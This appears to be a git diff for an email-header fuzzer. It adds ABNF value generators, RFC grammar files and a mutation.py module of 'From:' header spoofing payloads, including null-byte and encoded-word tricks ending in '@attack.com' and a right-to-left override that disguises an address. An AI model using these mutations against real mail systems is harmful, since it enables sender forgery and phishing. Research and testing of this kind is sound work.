%x61-7A ; A-Z / a-z. +class Alpha(BaseData): + def __init__(self): + self.data = [] + for i in range(0, 26): + self.data.append(chr(ord("A") + i).encode()) + for i in range(0, 26): + self.data.append(chr(ord("a") + i).encode()) + + +# BIT = "0" / "1" +class Bit(BaseData): + def __init__(self): + self.data = [] + self.data.append(b'0') + self.data.append(b'1') + + +# CHAR = %x01-7F ; Any 7-bit US-ASCII character, excluding NUL. +class Char(BaseData): + def __init__(self): + self.data = [] + for i in range(0, 0x7F): + self.data.append(chr(i + 1).encode()) + + +# CR = %x0D ; carriage return, '\r' +class Cr(BaseData): + def __init__(self): + self.data = [] + self.data.append(b'\x0D') + + +# CRLF = CR LF ; Internet standard newline, '\r\n' +class Crlf(BaseData): + def __init__(self): + self.data = [] + self.data.append(b'\x0D\x0A') + + +# CTL = %x00-1F / %x7F ; controls +class Ctl(BaseData): + def __init__(self): + self.data = [] + for i in range(0, 0x1F): + self.data.append(chr(i + 1).encode()) + self.data.append(b'\x7F') + + +# DIGIT = %x30-39 ; 0-9. +class Digit(BaseData): + def __init__(self): + self.data = [] + for i in range(0, 10): + self.data.append(chr(ord("0") + i).encode()) + + +# DQUOTE = %x22 ; " (Double Quote) +class Dquote(BaseData): + def __init__(self): + self.data = [] + self.data.append(b'\x22') + + +# HEXDIG = DIGIT / "A" / "B" / "C" / "D" / "E" / "F" +class Hexdig(BaseData): + def __init__(self): + self.data = [] + for i in range(0, 10): + self.data.append(chr(ord("0") + i).encode()) + for i in range(0, 6): + self.data.append(chr(ord("A") + i).encode()) + + +# HTAB = %x09 ; horizontal tab, '\t' +class Htab(BaseData): + def __init__(self): + self.data = [] + self.data.append(b'\x09') + + +# LF = %x0A ; linefeed, '\n' +class Lf(BaseData): + def __init__(self): + self.data = [] + self.data.append(b'\x0A') + + +# SP = %x20 ; ' ' +class Sp(BaseData): + def __init__(self): + self.data = [] + self.data.append(b'\x20') + + +# WSP = SP / HTAB ; white space +class Wsp(BaseData): + def __init__(self): + self.data = [] + self.data.append(b'\x20') + self.data.append(b'\x09') + + +# LWSP = *(WSP / CRLF WSP) ; linear white space (past newline) +class Lwsp(BaseData): + wsp = '' + crlf = '' + + def __init__(self): + self.wsp = Wsp() + self.crlf = Crlf() + + def generate(self): + res = b'' + while random.randint(0, 1) == 1: + if random.randint(0, 1) == 0: + res = res + self.wsp.generate() + else: + res = res + self.crlf.generate() + res = res + self.wsp.generate() + return res + + +# OCTET = %x00-FF ; 8 bits of data +class Octet(BaseData): + def generate(self): + return chr(random.randint(0x00, 0xFF)).encode('latin1') + + +# VCHAR = %x21-7E ; visible (printing) characters +class Vchar(BaseData): + def generate(self): + return chr(random.randint(0x21, 0x7E)).encode() + diff --git a/fuzzer/mutation.py b/fuzzer/mutation.py new file mode 100755 index 0000000..39975f2 --- /dev/null +++ b/fuzzer/mutation.py @@ -0,0 +1,63 @@ +import base64 + + +def fuzz_insert_before_space(origin): + data = origin.replace('From:','From :') + return data + + +def fuzz_insert_after_space(origin): + data = origin.replace('From:','From: ') + return data + +def fuzz_insert_first_space(origin): + data = origin.replace('From:',' From:') + return data + +def fuzz_IDN_domain(origin): + data = "From: " + return data + +def fuzz_multiple_from1(origin): + data = "From: \r\n"+origin + return data + +def fuzz_multiple_from2(origin): + data = " From: \r\n"+origin + return data + + +def fuzz_multiple_from3(origin): + data = " FrOM: \r\n"+origin + return data + + +def fuzz_multiple_from4(origin): + data = " From\xff: \r\n"+origin + return data + + +def fuzz_encoding_from1(origin): + data = "From: <=?utf-8?{}=?=>".format(base64.b64encode(origin.encode()).decode()) + return data + +def fuzz_encoding_from2(origin): + data = "From: <=?utf-8?{}=?=>\x00@attack.com".format(base64.b64encode(origin.encode()).decode()) + return data + +def fuzz_truncate_string1(origin): + data = "From:" + return data + +def fuzz_truncate_string2(origin): + data = "From:" + return data + +def fuzz_truncate_string3(origin): + data = "From:" + return data + + +def fuzz_rtl_string(origin): + data = "From:<\u202emoc.a@\u202dalice" + return data \ No newline at end of file diff --git a/fuzzer/rfc/rfc2234.txt b/fuzzer/rfc/rfc2234.txt new file mode 100755 index 0000000..abf319c --- /dev/null +++ b/fuzzer/rfc/rfc2234.txt @@ -0,0 +1,88 @@ + name = elements crlf + b = binary + d = decimal + x = hexadecimal + CR = %d13 + CR = %x0D + CRLF = %d13.10 + command = "command string" + rulename = "abc" + rulename = "aBc" + rulename = %d97 %d98 %d99 + rulename = %d97.98.99 + foo = %x61 ; a + bar = %x62 ; b + mumble = foo bar foo + ruleset = alt1 / alt2 + ruleset = alt1 / alt2 / alt3 / alt4 / alt5 + DIGIT = %x30-39 + DIGIT = "0" / "1" / "2" / "3" / "4" / "5" / "6" / + char-line = %x0D.0A %x20-7E %x0D.0A + rulelist = 1*( rule / (*c-wsp c-nl) ) + rule = rulename defined-as elements c-nl + ; continues if next line starts + ; with white space + rulename = ALPHA *(ALPHA / DIGIT / "-") + defined-as = *c-wsp ("=" / "=/") *c-wsp + ; basic rules definition and + ; incremental alternatives + elements = alternation *c-wsp + c-wsp = WSP / (c-nl WSP) + c-nl = comment / CRLF + ; comment or newline + comment = ";" *(WSP / VCHAR) CRLF + alternation = concatenation + *(*c-wsp "/" *c-wsp concatenation) + concatenation = repetition *(1*c-wsp repetition) + repetition = [repeat] element + repeat = 1*DIGIT / (*DIGIT "*" *DIGIT) + element = rulename / group / option / + char-val / num-val / prose-val + group = "(" *c-wsp alternation *c-wsp ")" + option = "[" *c-wsp alternation *c-wsp "]" + char-val = DQUOTE *(%x20-21 / %x23-7E) DQUOTE + ; quoted string of SP and VCHAR + without DQUOTE + num-val = "%" (bin-val / dec-val / hex-val) + bin-val = "b" 1*BIT + [ 1*("." 1*BIT) / ("-" 1*BIT) ] + ; series of concatenated bit values + ; or single ONEOF range + dec-val = "d" 1*DIGIT + [ 1*("." 1*DIGIT) / ("-" 1*DIGIT) ] + hex-val = "x" 1*HEXDIG + [ 1*("." 1*HEXDIG) / ("-" 1*HEXDIG) ] + prose-val = "<" *(%x20-3D / %x3F-7E) ">" + ; bracketed string of SP and VCHAR + without angles + ; prose description, to be used as + last resort + ALPHA = %x41-5A / %x61-7A ; A-Z / a-z + BIT = "0" / "1" + CHAR = %x01-7F + ; any 7-bit US-ASCII character, + excluding NUL + CR = %x0D + ; carriage return + CRLF = CR LF + ; Internet standard newline + CTL = %x00-1F / %x7F + ; controls + DIGIT = %x30-39 + ; 0-9 + DQUOTE = %x22 + ; " (Double Quote) + HEXDIG = DIGIT / "A" / "B" / "C" / "D" / "E" / "F" + HTAB = %x09 + ; horizontal tab + LF = %x0A + ; linefeed + LWSP = *(WSP / CRLF WSP) + ; linear white space (past newline) + OCTET = %x00-FF + ; 8 bits of data + SP = %x20 + VCHAR = %x21-7E + ; visible (printing) characters + WSP = SP / HTAB + ; white space \ No newline at end of file diff --git a/fuzzer/rfc/rfc3986.txt b/fuzzer/rfc/rfc3986.txt new file mode 100755 index 0000000..c93898b --- /dev/null +++ b/fuzzer/rfc/rfc3986.txt @@ -0,0 +1,60 @@ + URI = scheme ":" hier-part [ "?" query ] [ "#" fragment ] + hier-part = "//" authority path-abempty + / path-absolute + / path-rootless + / path-empty + URI-reference = URI / relative-ref + absolute-URI = scheme ":" hier-part [ "?" query ] + relative-ref = relative-part [ "?" query ] [ "#" fragment ] + relative-part = "//" authority path-abempty + / path-absolute + / path-noscheme + / path-empty + scheme = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." ) + authority = [ userinfo "@" ] host [ ":" port ] + userinfo = *( unreserved / pct-encoded / sub-delims / ":" ) + host = IP-literal / IPv4address / reg-name + port = *DIGIT + IP-literal = "[" ( IPv6address / IPvFuture ) "]" + IPvFuture = "v" 1*HEXDIG "." 1*( unreserved / sub-delims / ":" ) + IPv6address = 6( h16 ":" ) ls32 + / "::" 5( h16 ":" ) ls32 + / [ h16 ] "::" 4( h16 ":" ) ls32 + / [ *1( h16 ":" ) h16 ] "::" 3( h16 ":" ) ls32 + / [ *2( h16 ":" ) h16 ] "::" 2( h16 ":" ) ls32 + / [ *3( h16 ":" ) h16 ] "::" h16 ":" ls32 + / [ *4( h16 ":" ) h16 ] "::" ls32 + / [ *5( h16 ":" ) h16 ] "::" h16 + / [ *6( h16 ":" ) h16 ] "::" + h16 = 1*4HEXDIG + ls32 = ( h16 ":" h16 ) / IPv4address + IPv4address = dec-octet "." dec-octet "." dec-octet "." dec-octet + dec-octet = DIGIT ; 0-9 + / %x31-39 DIGIT ; 10-99 + / "1" 2DIGIT ; 100-199 + / "2" %x30-34 DIGIT ; 200-249 + / "25" %x30-35 ; 250-255 + reg-name = *( unreserved / pct-encoded / sub-delims ) + path = path-abempty ; begins with "/" or is empty + / path-absolute ; begins with "/" but not "//" + / path-noscheme ; begins with a non-colon segment + / path-rootless ; begins with a segment + / path-empty ; zero characters + path-abempty = *( "/" segment ) + path-absolute = "/" [ segment-nz *( "/" segment ) ] + path-noscheme = segment-nz-nc *( "/" segment ) + path-rootless = segment-nz *( "/" segment ) + path-empty = 0 + segment = *pchar + segment-nz = 1*pchar + segment-nz-nc = 1*( unreserved / pct-encoded / sub-delims / "@" ) + ; non-zero-length segment without any colon ":" + pchar = unreserved / pct-encoded / sub-delims / ":" / "@" + query = *( pchar / "/" / "?" ) + fragment = *( pchar / "/" / "?" ) + pct-encoded = "%" HEXDIG HEXDIG + unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" + reserved = gen-delims / sub-delims + gen-delims = ":" / "/" / "?" / "#" / "[" / "]" / "@" + sub-delims = "!" / "$" / "&" / "'" / "(" / ")" + / "*" / "+" / "," / ";" / "=" \ No newline at end of file diff --git a/fuzzer/rfc/rfc5322.txt b/fuzzer/rfc/rfc5322.txt new file mode 100755 index 0000000..84ff507 --- /dev/null +++ b/fuzzer/rfc/rfc5322.txt @@ -0,0 +1,230 @@ + quoted-pair = ("\" (VCHAR / WSP)) / obs-qp + FWS = ([*WSP CRLF] 1*WSP) / obs-FWS + ; Folding white space + ctext = %d33-39 / ; Printable US-ASCII + %d42-91 / ; characters not including + %d93-126 / ; "(", ")", or "\" + obs-ctext + ccontent = ctext / quoted-pair / comment + comment = "(" *([FWS] ccontent) [FWS] ")" + CFWS = (1*([FWS] comment) [FWS]) / FWS + atext = ALPHA / DIGIT / ; Printable US-ASCII + "!" / "#" / ; characters not including + "$" / "%" / ; specials. Used for atoms. + "&" / "'" / + "*" / "+" / + "-" / "/" / + "=" / "?" / + "^" / "_" / + "`" / "{" / + "|" / "}" / + "~" + atom = [CFWS] 1*atext [CFWS] + dot-atom-text = 1*atext *("." 1*atext) + dot-atom = [CFWS] dot-atom-text [CFWS] + specials = "(" / ")" / ; Special characters that do + "<" / ">" / ; not appear in atext + "[" / "]" / + ":" / ";" / + "@" / "\" / + "," / "." / + DQUOTE + qtext = %d33 / ; Printable US-ASCII + %d35-91 / ; characters not including + %d93-126 / ; "\" or the quote character + obs-qtext + qcontent = qtext / quoted-pair + quoted-string = [CFWS] + DQUOTE *([FWS] qcontent) [FWS] DQUOTE + [CFWS] + word = atom / quoted-string + phrase = 1*word / obs-phrase + unstructured = (*([FWS] VCHAR) *WSP) / obs-unstruct + date-time = [ day-of-week "," ] date time [CFWS] + day-of-week = ([FWS] day-name) / obs-day-of-week + day-name = "Mon" / "Tue" / "Wed" / "Thu" / + "Fri" / "Sat" / "Sun" + date = day month year + day = ([FWS] 1*2DIGIT FWS) / obs-day + month = "Jan" / "Feb" / "Mar" / "Apr" / + "May" / "Jun" / "Jul" / "Aug" / + "Sep" / "Oct" / "Nov" / "Dec" + year = (FWS 4*DIGIT FWS) / obs-year + time = time-of-day zone + time-of-day = hour ":" minute [ ":" second ] + hour = 2DIGIT / obs-hour + minute = 2DIGIT / obs-minute + second = 2DIGIT / obs-second + zone = (FWS ( "+" / "-" ) 4DIGIT) / obs-zone + address = mailbox / group + mailbox = name-addr / addr-spec + name-addr = [display-name] angle-addr + angle-addr = [CFWS] "<" addr-spec ">" [CFWS] / + obs-angle-addr + group = display-name ":" [group-list] ";" [CFWS] + display-name = phrase + mailbox-list = (mailbox *("," mailbox)) / obs-mbox-list + address-list = (address *("," address)) / obs-addr-list + group-list = mailbox-list / CFWS / obs-group-list + addr-spec = local-part "@" domain + local-part = dot-atom / quoted-string / obs-local-part + domain = dot-atom / domain-literal / obs-domain + domain-literal = [CFWS] "[" *([FWS] dtext) [FWS] "]" [CFWS] + dtext = %d33-90 / ; Printable US-ASCII + %d94-126 / ; characters not including + obs-dtext ; "[", "]", or "\" + message = (fields / obs-fields) + [CRLF body] + body = (*(*998text CRLF) *998text) / obs-body + text = %d1-9 / ; Characters excluding CR + %d11 / ; and LF + %d12 / + %d14-127 + fields = *(trace + *optional-field / + *(resent-date / + resent-from / + resent-sender / + resent-to / + resent-cc / + resent-bcc / + resent-msg-id)) + *(orig-date / + from / + sender / + reply-to / + to / + cc / + bcc / + message-id / + in-reply-to / + references / + subject / + comments / + keywords / + optional-field) + orig-date = "Date:" date-time CRLF + from = "From:" mailbox-list CRLF + sender = "Sender:" mailbox CRLF + reply-to = "Reply-To:" address-list CRLF + to = "To:" address-list CRLF + cc = "Cc:" address-list CRLF + bcc = "Bcc:" [address-list / CFWS] CRLF + message-id = "Message-ID:" msg-id CRLF + in-reply-to = "In-Reply-To:" 1*msg-id CRLF + references = "References:" 1*msg-id CRLF + msg-id = [CFWS] "<" id-left "@" id-right ">" [CFWS] + id-left = dot-atom-text / obs-id-left + id-right = dot-atom-text / no-fold-literal / obs-id-right + no-fold-literal = "[" *dtext "]" + subject = "Subject:" unstructured CRLF + comments = "Comments:" unstructured CRLF + keywords = "Keywords:" phrase *("," phrase) CRLF + resent-date = "Resent-Date:" date-time CRLF + resent-from = "Resent-From:" mailbox-list CRLF + resent-sender = "Resent-Sender:" mailbox CRLF + resent-to = "Resent-To:" address-list CRLF + resent-cc = "Resent-Cc:" address-list CRLF + resent-bcc = "Resent-Bcc:" [address-list / CFWS] CRLF + resent-msg-id = "Resent-Message-ID:" msg-id CRLF + trace = [return] + 1*received + return = "Return-Path:" path CRLF + path = angle-addr / ([CFWS] "<" [CFWS] ">" [CFWS]) + received = "Received:" *received-token ";" date-time CRLF + received-token = word / angle-addr / addr-spec / domain + optional-field = field-name ":" unstructured CRLF + field-name = 1*ftext + ftext = %d33-57 / ; Printable US-ASCII + %d59-126 ; characters not including + ; ":". + obs-NO-WS-CTL = %d1-8 / ; US-ASCII control + %d11 / ; characters that do not + %d12 / ; include the carriage + %d14-31 / ; return, line feed, and + %d127 ; white space characters + obs-ctext = obs-NO-WS-CTL + obs-qtext = obs-NO-WS-CTL + obs-utext = %d0 / obs-NO-WS-CTL / VCHAR + obs-qp = "\" (%d0 / obs-NO-WS-CTL / LF / CR) + obs-body = *((*LF *CR *((%d0 / text) *LF *CR)) / CRLF) + obs-unstruct = *((*LF *CR *(obs-utext *LF *CR)) / FWS) + obs-phrase = word *(word / "." / CFWS) + obs-phrase-list = [phrase / CFWS] *("," [phrase / CFWS]) + obs-FWS = 1*WSP *(CRLF 1*WSP) + obs-day-of-week = [CFWS] day-name [CFWS] + obs-day = [CFWS] 1*2DIGIT [CFWS] + obs-year = [CFWS] 2*DIGIT [CFWS] + obs-hour = [CFWS] 2DIGIT [CFWS] + obs-minute = [CFWS] 2DIGIT [CFWS] + obs-second = [CFWS] 2DIGIT [CFWS] + obs-zone = "UT" / "GMT" / ; Universal Time + ; North American UT + ; offsets + "EST" / "EDT" / ; Eastern: - 5/ - 4 + "CST" / "CDT" / ; Central: - 6/ - 5 + "MST" / "MDT" / ; Mountain: - 7/ - 6 + "PST" / "PDT" / ; Pacific: - 8/ - 7 + ; + obs-angle-addr = [CFWS] "<" obs-route addr-spec ">" [CFWS] + obs-route = obs-domain-list ":" + obs-domain-list = *(CFWS / ",") "@" domain + *("," [CFWS] ["@" domain]) + obs-mbox-list = *([CFWS] ",") mailbox *("," [mailbox / CFWS]) + obs-addr-list = *([CFWS] ",") address *("," [address / CFWS]) + obs-group-list = 1*([CFWS] ",") [CFWS] + obs-local-part = word *("." word) + obs-domain = atom *("." atom) + obs-dtext = obs-NO-WS-CTL / quoted-pair + obs-fields = *(obs-return / + obs-received / + obs-orig-date / + obs-from / + obs-sender / + obs-reply-to / + obs-to / + obs-cc / + obs-bcc / + obs-message-id / + obs-in-reply-to / + obs-references / + obs-subject / + obs-comments / + obs-keywords / + obs-resent-date / + obs-resent-from / + obs-resent-send / + obs-resent-rply / + obs-resent-to / + obs-resent-cc / + obs-resent-bcc / + obs-resent-mid / + obs-optional) + obs-orig-date = "Date" *WSP ":" date-time CRLF + obs-from = "From" *WSP ":" mailbox-list CRLF + obs-sender = "Sender" *WSP ":" mailbox CRLF + obs-reply-to = "Reply-To" *WSP ":" address-list CRLF + obs-to = "To" *WSP ":" address-list CRLF + obs-cc = "Cc" *WSP ":" address-list CRLF + obs-bcc = "Bcc" *WSP ":" + (address-list / (*([CFWS] ",") [CFWS])) CRLF + obs-message-id = "Message-ID" *WSP ":" msg-id CRLF + obs-in-reply-to = "In-Reply-To" *WSP ":" *(phrase / msg-id) CRLF + obs-references = "References" *WSP ":" *(phrase / msg-id) CRLF + obs-id-left = local-part + obs-id-right = domain + obs-subject = "Subject" *WSP ":" unstructured CRLF + obs-comments = "Comments" *WSP ":" unstructured CRLF + obs-keywords = "Keywords" *WSP ":" obs-phrase-list CRLF + obs-resent-from = "Resent-From" *WSP ":" mailbox-list CRLF + obs-resent-send = "Resent-Sender" *WSP ":" mailbox CRLF + obs-resent-date = "Resent-Date" *WSP ":" date-time CRLF + obs-resent-to = "Resent-To" *WSP ":" address-list CRLF + obs-resent-cc = "Resent-Cc" *WSP ":" address-list CRLF + obs-resent-bcc = "Resent-Bcc" *WSP ":" + (address-list / (*([CFWS] ",") [CFWS])) CRLF + obs-resent-mid = "Resent-Message-ID" *WSP ":" msg-id CRLF + obs-resent-rply = "Resent-Reply-To" *WSP ":" address-list CRLF + obs-return = "Return-Path" *WSP ":" path CRLF + obs-received = "Received" *WSP ":" *received-token CRLF + obs-optional = field-name *WSP ":" unstructured CRLF \ No newline at end of file diff --git a/fuzzer/rfc/rfc7230.txt b/fuzzer/rfc/rfc7230.txt new file mode 100755 index 0000000..cb533f5 --- /dev/null +++ b/fuzzer/rfc/rfc7230.txt @@ -0,0 +1,92 @@ + BWS = OWS + Connection = *( "," OWS ) connection-option *( OWS "," [ OWS + connection-option ] ) + Content-Length = 1*DIGIT + HTTP-message = start-line *( header-field CRLF ) CRLF [ message-body + ] + HTTP-name = %x48.54.54.50 ; HTTP + HTTP-version = HTTP-name "/" DIGIT "." DIGIT + Host = uri-host [ ":" port ] + OWS = *( SP / HTAB ) + RWS = 1*( SP / HTAB ) + TE = [ ( "," / t-codings ) *( OWS "," [ OWS t-codings ] ) ] + Trailer = *( "," OWS ) field-name *( OWS "," [ OWS field-name ] ) + Transfer-Encoding = *( "," OWS ) transfer-coding *( OWS "," [ OWS + transfer-coding ] ) + URI-reference = + Upgrade = *( "," OWS ) protocol *( OWS "," [ OWS protocol ] ) + Via = *( "," OWS ) ( received-protocol RWS received-by [ RWS comment + ] ) *( OWS "," [ OWS ( received-protocol RWS received-by [ RWS + comment ] ) ] ) + absolute-URI = + absolute-form = absolute-URI + absolute-path = 1*( "/" segment ) + asterisk-form = "*" + authority = + authority-form = authority + chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF + chunk-data = 1*OCTET + chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] ) + chunk-ext-name = token + chunk-ext-val = token / quoted-string + chunk-size = 1*HEXDIG + chunked-body = *chunk last-chunk trailer-part CRLF + comment = "(" *( ctext / quoted-pair / comment ) ")" + connection-option = token + ctext = HTAB / SP / %x21-27 ; '!'-''' + / %x2A-5B ; '*'-'[' + / %x5D-7E ; ']'-'~' + / obs-text + field-content = field-vchar [ 1*( SP / HTAB ) field-vchar ] + field-name = token + field-value = *( field-content / obs-fold ) + field-vchar = VCHAR / obs-text + fragment = + header-field = field-name ":" OWS field-value OWS + http-URI = "http://" authority path-abempty [ "?" query ] [ "#" + fragment ] + https-URI = "https://" authority path-abempty [ "?" query ] [ "#" + fragment ] + last-chunk = 1*"0" [ chunk-ext ] CRLF + message-body = *OCTET + method = token + obs-fold = CRLF 1*( SP / HTAB ) + obs-text = %x80-FF + origin-form = absolute-path [ "?" query ] + partial-URI = relative-part [ "?" query ] + path-abempty = + port = + protocol = protocol-name [ "/" protocol-version ] + protocol-name = token + protocol-version = token + pseudonym = token + qdtext = HTAB / SP / "!" / %x23-5B ; '#'-'[' + / %x5D-7E ; ']'-'~' + / obs-text + query = + quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text ) + quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE + rank = ( "0" [ "." *3DIGIT ] ) / ( "1" [ "." *3"0" ] ) + reason-phrase = *( HTAB / SP / VCHAR / obs-text ) + received-by = ( uri-host [ ":" port ] ) / pseudonym + received-protocol = [ protocol-name "/" ] protocol-version + relative-part = + request-line = method SP request-target SP HTTP-version CRLF + request-target = origin-form / absolute-form / authority-form / + asterisk-form + scheme = + segment = + start-line = request-line / status-line + status-code = 3DIGIT + status-line = HTTP-version SP status-code SP reason-phrase CRLF + t-codings = "trailers" / ( transfer-coding [ t-ranking ] ) + t-ranking = OWS ";" OWS "q=" rank + tchar = "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "." / + "^" / "_" / "`" / "|" / "~" / DIGIT / ALPHA + token = 1*tchar + trailer-part = *( header-field CRLF ) + transfer-coding = "chunked" / "compress" / "deflate" / "gzip" / + transfer-extension + transfer-extension = token *( OWS ";" OWS transfer-parameter ) + transfer-parameter = token BWS "=" BWS ( token / quoted-string ) + uri-host = \ No newline at end of file diff --git a/img/demo.png b/img/demo.png new file mode 100644 index 0000000000000000000000000000000000000000..0dfcd4e39fa42537250358cb0f99253b5e6e77cf GIT binary patch literal 119308 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 